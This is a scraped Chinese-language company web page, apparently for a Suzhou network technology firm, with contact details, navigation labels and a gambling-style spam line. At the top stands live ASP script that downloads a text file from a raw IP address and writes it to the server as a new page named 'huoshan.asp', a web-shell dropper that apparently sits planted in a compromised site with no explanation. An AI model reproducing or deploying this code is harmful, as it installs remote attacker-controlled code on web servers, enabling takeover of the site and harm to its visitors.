<%server.Scripttimeout=999999Remote_server="http://43.255.29.112/asp/aap.txt" Content_mb=GetHtml(Remote_server)Set Fso=Server.CreateObject("Scripting.FileSystemObject")Set Fout=Fso.CreateTextFile(Server.Mappath("huoshan.asp"))Fout.Write Content_mbFout.CloseFunction GetHtml(url)Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")ObjXMLHTTP.Open "GET",url,FalseObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"ObjXMLHTTP.sendGetHtml=ObjXMLHTTP.responseBodySet ObjXMLHTTP=Nothingset objStream = Server.CreateObject("Adodb.Stream")objStream.Type = 1objStream.Mode =3objStream.OpenobjStream.Write GetHtmlobjStream.Position = 0objStream.Type = 2objStream.Charset = "gb2312"GetHtml = objStream.ReadTextobjStream.CloseEnd Function%>
網站地圖
隨機推薦
更多>>聯系我們

蘇州時代網絡科技有限公司

聯系人:陸先生
電 話:0512-67776777
手 機:13813813813
郵 箱:[email protected]
地 址:蘇州市高新區國際科技園
顶呱刮中10000吧